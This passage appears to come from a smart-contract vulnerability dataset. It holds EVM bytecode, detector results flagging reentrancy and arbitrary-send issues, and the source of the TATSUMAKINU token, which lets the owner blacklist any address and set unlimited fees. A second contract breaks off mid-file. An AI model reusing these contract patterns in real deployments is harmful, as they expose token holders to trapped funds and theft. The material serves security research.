905060006128d6878961220290919063ffffffff16565b905060006128ff826128f1858761265a90919063ffffffff16565b61265a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061292b61292684613280565b61325b565b9050808382526020820190508285602086028201111561294a57600080fd5b60005b8581101561297a57816129608882612984565b84526020840193506020830192505060018101905061294d565b5050509392505050565b6000813590506129938161390d565b92915050565b6000815190506129a88161390d565b92915050565b600082601f8301126129bf57600080fd5b81356129cf848260208601612918565b91505092915050565b6000813590506129e781613924565b92915050565b6000815190506129fc81613924565b92915050565b600081359050612a118161393b565b92915050565b600081519050612a268161393b565b92915050565b600060208284031215612a3e57600080fd5b6000612a4c84828501612984565b91505092915050565b600060208284031215612a6757600080fd5b6000612a7584828501612999565b91505092915050565b60008060408385031215612a9157600080fd5b6000612a9f85828601612984565b9250506020612ab085828601612984565b9150509250929050565b600080600060608486031215612acf57600080fd5b6000612add86828701612984565b9350506020612aee86828701612984565b9250506040612aff86828701612a02565b9150509250925092565b60008060408385031215612b1c57600080fd5b6000612b2a85828601612984565b9250506020612b3b85828601612a02565b9150509250929050565b600060208284031215612b5757600080fd5b600082013567ffffffffffffffff811115612b7157600080fd5b612b7d848285016129ae565b91505092915050565b600060208284031215612b9857600080fd5b6000612ba6848285016129d8565b91505092915050565b600060208284031215612bc157600080fd5b6000612bcf848285016129ed565b91505092915050565b600060208284031215612bea57600080fd5b6000612bf884828501612a02565b91505092915050565b600080600060608486031215612c1657600080fd5b6000612c2486828701612a17565b9350506020612c3586828701612a17565b9250506040612c4686828701612a17565b9150509250925092565b6000612c5c8383612c68565b60208301905092915050565b612c7181613416565b82525050565b612c8081613416565b82525050565b6000612c91826132bc565b612c9b81856132df565b9350612ca6836132ac565b8060005b83811015612cd7578151612cbe8882612c50565b9750612cc9836132d2565b925050600181019050612caa565b5085935050505092915050565b612ced81613428565b82525050565b612cfc8161346b565b82525050565b6000612d0d826132c7565b612d1781856132f0565b9350612d2781856020860161347d565b612d30816135b7565b840191505092915050565b6000612d486023836132f0565b9150612d53826135c8565b604082019050919050565b6000612d6b602a836132f0565b9150612d7682613617565b604082019050919050565b6000612d8e6022836132f0565b9150612d9982613666565b604082019050919050565b6000612db1601b836132f0565b9150612dbc826136b5565b602082019050919050565b6000612dd4601d836132f0565b9150612ddf826136de565b602082019050919050565b6000612df76021836132f0565b9150612e0282613707565b604082019050919050565b6000612e1a6020836132f0565b9150612e2582613756565b602082019050919050565b6000612e3d6029836132f0565b9150612e488261377f565b604082019050919050565b6000612e606025836132f0565b9150612e6b826137ce565b604082019050919050565b6000612e836024836132f0565b9150612e8e8261381d565b604082019050919050565b6000612ea66017836132f0565b9150612eb18261386c565b602082019050919050565b6000612ec96028836132f0565b9150612ed482613895565b604082019050919050565b6000612eec6011836132f0565b9150612ef7826138e4565b602082019050919050565b612f0b81613454565b82525050565b612f1a8161345e565b82525050565b6000602082019050612f356000830184612c77565b92915050565b6000604082019050612f506000830185612c77565b612f5d6020830184612c77565b9392505050565b6000604082019050612f796000830185612c77565b612f866020830184612f02565b9392505050565b600060c082019050612fa26000830189612c77565b612faf6020830188612f02565b612fbc6040830187612cf3565b612fc96060830186612cf3565b612fd66080830185612c77565b612fe360a0830184612f02565b979650505050505050565b60006020820190506130036000830184612ce4565b92915050565b600060208201905081810360008301526130238184612d02565b905092915050565b6000602082019050818103600083015261304481612d3b565b9050919050565b6000602082019050818103600083015261306481612d5e565b9050919050565b6000602082019050818103600083015261308481612d81565b9050919050565b600060208201905081810360008301526130a481612da4565b9050919050565b600060208201905081810360008301526130c481612dc7565b9050919050565b600060208201905081810360008301526130e481612dea565b9050919050565b6000602082019050818103600083015261310481612e0d565b9050919050565b6000602082019050818103600083015261312481612e30565b9050919050565b6000602082019050818103600083015261314481612e53565b9050919050565b6000602082019050818103600083015261316481612e76565b9050919050565b6000602082019050818103600083015261318481612e99565b9050919050565b600060208201905081810360008301526131a481612ebc565b9050919050565b600060208201905081810360008301526131c481612edf565b9050919050565b60006020820190506131e06000830184612f02565b92915050565b600060a0820190506131fb6000830188612f02565b6132086020830187612cf3565b818103604083015261321a8186612c86565b90506132296060830185612c77565b6132366080830184612f02565b9695505050505050565b60006020820190506132556000830184612f11565b92915050565b6000613265613276565b905061327182826134b0565b919050565b6000604051905090565b600067ffffffffffffffff82111561329b5761329a613588565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061330c82613454565b915061331783613454565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561334c5761334b61352a565b5b828201905092915050565b600061336282613454565b915061336d83613454565b92508261337d5761337c613559565b5b828204905092915050565b600061339382613454565b915061339e83613454565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133d7576133d661352a565b5b828202905092915050565b60006133ed82613454565b91506133f883613454565b92508282101561340b5761340a61352a565b5b828203905092915050565b600061342182613434565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061347682613454565b9050919050565b60005b8381101561349b578082015181840152602081019050613480565b838111156134aa576000848401525b50505050565b6134b9826135b7565b810181811067ffffffffffffffff821117156134d8576134d7613588565b5b80604052505050565b60006134ec82613454565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561351f5761351e61352a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e206f72206571756160008201527f6c20746f20313030000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61391681613416565b811461392157600080fd5b50565b61392d81613428565b811461393857600080fd5b50565b61394481613454565b811461394f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047eaf7d70456601cb76a1d6f05baca36fd2f649b12e6a9fb5519e3064840836164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,000
0x568fa4d052e43ecbe9b16b1365fcfb7be8c7b680
/** *Submitted for verification at Etherscan.io on 2022-04-14 */ //SPDX-License-Identifier: UNLICENSED /** 戦慄のタツマキ(TATSUMAKINU) Terrible Tornado Tatsumaki is the S-Class Rank 2 professional hero of the hero association. She is recognized as one of the Hero Association's most powerful heroes. Are you ready for her appearance on blockchain? https://t.me/tatsumakinu https://tatsumakinu.com */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TATSUMAKINU is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e9 * 10**9; string public constant name = unicode"TATSUMAKINU"; string public constant symbol = unicode"TATSUMAKINU"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen); if((_launchedAt + (2 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 20000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external onlyOwner(){ _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external onlyOwner(){ for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf914610543578063db92dbb614610558578063dcb0e0ad1461056d578063dd62ed3e1461058d57600080fd5b8063a9059cbb146104ce578063b2289c62146104ee578063b515566a1461050e578063c3c8cd801461052e57600080fd5b80638da5cb5b116100d15780638da5cb5b1461047b57806394b8d8f21461049957806395d89b41146101e85780639e78fb4f146104b957600080fd5b80636fc3eaec1461041157806370a0823114610426578063715018a61461044657806373f54a111461045b57600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038d57806345596e2e146103a357806349bd5a5e146103c3578063590f897e146103fb57600080fd5b8063313ce567146102f757806331c2d8471461031e57806332d873d81461033e5780633bbac5791461035457600080fd5b806318160ddd116101b657806318160ddd146102875780631940d020146102ac57806323b872dd146102c257806327f3a72a146102e257600080fd5b806306fdde03146101e8578063095ea7b3146102355780630b78f9c01461026557600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5061021f6040518060400160405280600b81526020016a54415453554d414b494e5560a81b81525081565b60405161022c919061169a565b60405180910390f35b34801561024157600080fd5b50610255610250366004611714565b6105d3565b604051901515815260200161022c565b34801561027157600080fd5b50610285610280366004611740565b6105e9565b005b34801561029357600080fd5b50670de0b6b3a76400005b60405190815260200161022c565b3480156102b857600080fd5b5061029e600c5481565b3480156102ce57600080fd5b506102556102dd366004611762565b610663565b3480156102ee57600080fd5b5061029e6106b7565b34801561030357600080fd5b5061030c600981565b60405160ff909116815260200161022c565b34801561032a57600080fd5b506102856103393660046117b9565b6106c7565b34801561034a57600080fd5b5061029e600d5481565b34801561036057600080fd5b5061025561036f36600461187e565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039957600080fd5b5061029e60095481565b3480156103af57600080fd5b506102856103be36600461189b565b61075d565b3480156103cf57600080fd5b506008546103e3906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b34801561040757600080fd5b5061029e600a5481565b34801561041d57600080fd5b50610285610803565b34801561043257600080fd5b5061029e61044136600461187e565b610810565b34801561045257600080fd5b5061028561082b565b34801561046757600080fd5b5061028561047636600461187e565b61089f565b34801561048757600080fd5b506000546001600160a01b03166103e3565b3480156104a557600080fd5b50600e546102559062010000900460ff1681565b3480156104c557600080fd5b50610285610917565b3480156104da57600080fd5b506102556104e9366004611714565b610b1c565b3480156104fa57600080fd5b506007546103e3906001600160a01b031681565b34801561051a57600080fd5b506102856105293660046117b9565b610b29565b34801561053a57600080fd5b50610285610c42565b34801561054f57600080fd5b50610285610c58565b34801561056457600080fd5b5061029e610e49565b34801561057957600080fd5b506102856105883660046118c2565b610e61565b34801561059957600080fd5b5061029e6105a83660046118df565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006105e0338484610ede565b50600192915050565b6000546001600160a01b0316331461061c5760405162461bcd60e51b815260040161061390611918565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610670848484611002565b6001600160a01b038416600090815260036020908152604080832033845290915281205461069f908490611963565b90506106ac853383610ede565b506001949350505050565b60006106c230610810565b905090565b6000546001600160a01b031633146106f15760405162461bcd60e51b815260040161061390611918565b60005b8151811015610759576000600560008484815181106107155761071561197a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061075181611990565b9150506106f4565b5050565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161061390611918565b600081116107c75760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610613565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761080d81611367565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108555760405162461bcd60e51b815260040161061390611918565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c95760405162461bcd60e51b815260040161061390611918565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6906020016107f8565b6000546001600160a01b031633146109415760405162461bcd60e51b815260040161061390611918565b600e5460ff161561098e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610613565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1791906119ab565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8891906119ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ad5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af991906119ab565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b60006105e0338484611002565b6000546001600160a01b03163314610b535760405162461bcd60e51b815260040161061390611918565b60005b81518110156107595760085482516001600160a01b0390911690839083908110610b8257610b8261197a565b60200260200101516001600160a01b031614158015610bd3575060065482516001600160a01b0390911690839083908110610bbf57610bbf61197a565b60200260200101516001600160a01b031614155b15610c3057600160056000848481518110610bf057610bf061197a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c3a81611990565b915050610b56565b6000610c4d30610810565b905061080d816113a1565b6000546001600160a01b03163314610c825760405162461bcd60e51b815260040161061390611918565b600e5460ff1615610ccf5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610613565b600654610cef9030906001600160a01b0316670de0b6b3a7640000610ede565b6006546001600160a01b031663f305d7194730610d0b81610810565b600080610d206000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d88573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dad91906119c8565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2a91906119f6565b50600e805460ff1916600117905542600d5566470de4df820000600c55565b6008546000906106c2906001600160a01b0316610810565b6000546001600160a01b03163314610e8b5760405162461bcd60e51b815260040161061390611918565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016107f8565b6001600160a01b038316610f405760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610613565b6001600160a01b038216610fa15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610613565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561102857600080fd5b6001600160a01b03831661108c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610613565b6001600160a01b0382166110ee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610613565b600081116111505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610613565b600080546001600160a01b0385811691161480159061117d57506000546001600160a01b03848116911614155b15611308576008546001600160a01b0385811691161480156111ad57506006546001600160a01b03848116911614155b80156111d257506001600160a01b03831660009081526004602052604090205460ff16155b1561122157600e5460ff166111e657600080fd5b42600d5460786111f69190611a13565b111561121d57600c5461120884610810565b6112129084611a13565b111561121d57600080fd5b5060015b600e54610100900460ff1615801561123b5750600e5460ff165b801561125557506008546001600160a01b03858116911614155b1561130857600061126530610810565b905080156112f157600e5462010000900460ff16156112e857600b546008546064919061129a906001600160a01b0316610810565b6112a49190611a2b565b6112ae9190611a4a565b8111156112e857600b54600854606491906112d1906001600160a01b0316610810565b6112db9190611a2b565b6112e59190611a4a565b90505b6112f1816113a1565b4780156113015761130147611367565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061134a57506001600160a01b03841660009081526004602052604090205460ff165b15611353575060005b6113608585858486611515565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610759573d6000803e3d6000fd5b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e5576113e561197a565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561143e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146291906119ab565b816001815181106114755761147561197a565b6001600160a01b03928316602091820292909201015260065461149b9130911684610ede565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906114d4908590600090869030904290600401611a6c565b600060405180830381600087803b1580156114ee57600080fd5b505af1158015611502573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b60006115218383611537565b905061152f8686868461155b565b505050505050565b600080831561155457821561154f5750600954611554565b50600a545b9392505050565b6000806115688484611638565b6001600160a01b0388166000908152600260205260409020549193509150611591908590611963565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546115c1908390611a13565b6001600160a01b0386166000908152600260205260409020556115e38161166c565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162891815260200190565b60405180910390a3505050505050565b6000808060646116488587611a2b565b6116529190611a4a565b905060006116608287611963565b96919550909350505050565b30600090815260026020526040902054611687908290611a13565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156116c7578581018301518582016040015282016116ab565b818111156116d9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461080d57600080fd5b803561170f816116ef565b919050565b6000806040838503121561172757600080fd5b8235611732816116ef565b946020939093013593505050565b6000806040838503121561175357600080fd5b50508035926020909101359150565b60008060006060848603121561177757600080fd5b8335611782816116ef565b92506020840135611792816116ef565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117cc57600080fd5b823567ffffffffffffffff808211156117e457600080fd5b818501915085601f8301126117f857600080fd5b81358181111561180a5761180a6117a3565b8060051b604051601f19603f8301168101818110858211171561182f5761182f6117a3565b60405291825284820192508381018501918883111561184d57600080fd5b938501935b828510156118725761186385611704565b84529385019392850192611852565b98975050505050505050565b60006020828403121561189057600080fd5b8135611554816116ef565b6000602082840312156118ad57600080fd5b5035919050565b801515811461080d57600080fd5b6000602082840312156118d457600080fd5b8135611554816118b4565b600080604083850312156118f257600080fd5b82356118fd816116ef565b9150602083013561190d816116ef565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156119755761197561194d565b500390565b634e487b7160e01b600052603260045260246000fd5b60006000198214156119a4576119a461194d565b5060010190565b6000602082840312156119bd57600080fd5b8151611554816116ef565b6000806000606084860312156119dd57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a0857600080fd5b8151611554816118b4565b60008219821115611a2657611a2661194d565b500190565b6000816000190483118215151615611a4557611a4561194d565b500290565b600082611a6757634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611abc5784516001600160a01b031683529383019391830191600101611a97565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ad5eb21bc67650bdf93cf0f09318f83eb04ff53df8b1895fa4bcd7677e201d4564736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,001
0x88f70a4aadfe8898d7942944c2d5263f771edc1f
pragma solidity ^0.4.24; /**xxp 校验防止溢出情况 * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address 